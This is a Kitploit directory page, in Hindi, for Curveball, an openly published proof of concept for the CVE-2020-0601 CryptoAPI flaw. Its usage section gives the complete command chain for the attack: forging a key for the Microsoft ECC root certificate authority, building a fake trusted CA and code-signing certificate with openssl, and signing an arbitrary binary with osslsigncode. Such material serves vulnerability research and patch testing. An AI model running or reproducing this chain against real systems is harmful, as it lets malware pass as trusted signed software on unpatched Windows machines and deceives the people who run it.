Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Curveball — CVE-2020-0601 के लिए PoC - CryptoAPI शोषण | Kitploit
उपकरण/GitHubGitHub/ioncodes/curveball
भेद्यता विश्लेषणकोड विश्लेषणशोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHubioncodes/curveball

Curveball

CVE-2020-0601 के लिए PoC - CryptoAPI शोषण

रिपॉजिटरी देखें
2044 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Curveball

CVE-2020-0601 के लिए एक PoC। एक विस्तृत ब्लॉग पोस्ट [यहाँ] पाई जा सकती है। यह शोषण आपको एक नकली विश्वसनीय प्रमाणपत्र बनाने की अनुमति देता है, जो CryptoAPI द्वारा ECC आधारित प्रमाणपत्रों पर कुछ मापदंडों को संभालने के तरीके का दुरुपयोग करता है।

सेटअप

रिपॉजिटरी को क्लोन करें और इसे Visual Studio 2019 में खोलें। Release पर स्विच करें और इसे संकलित करें। आप पूर्व-निर्मित बाइनरी [यहाँ] पा सकते हैं।

उपयोग

root@kitploit:~
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>

परिणाम

ध्यान दें कि 7zip इंस्टॉलर सामान्यतः हस्ताक्षरित नहीं होता है!

trusted

टूल डाउनलोड करें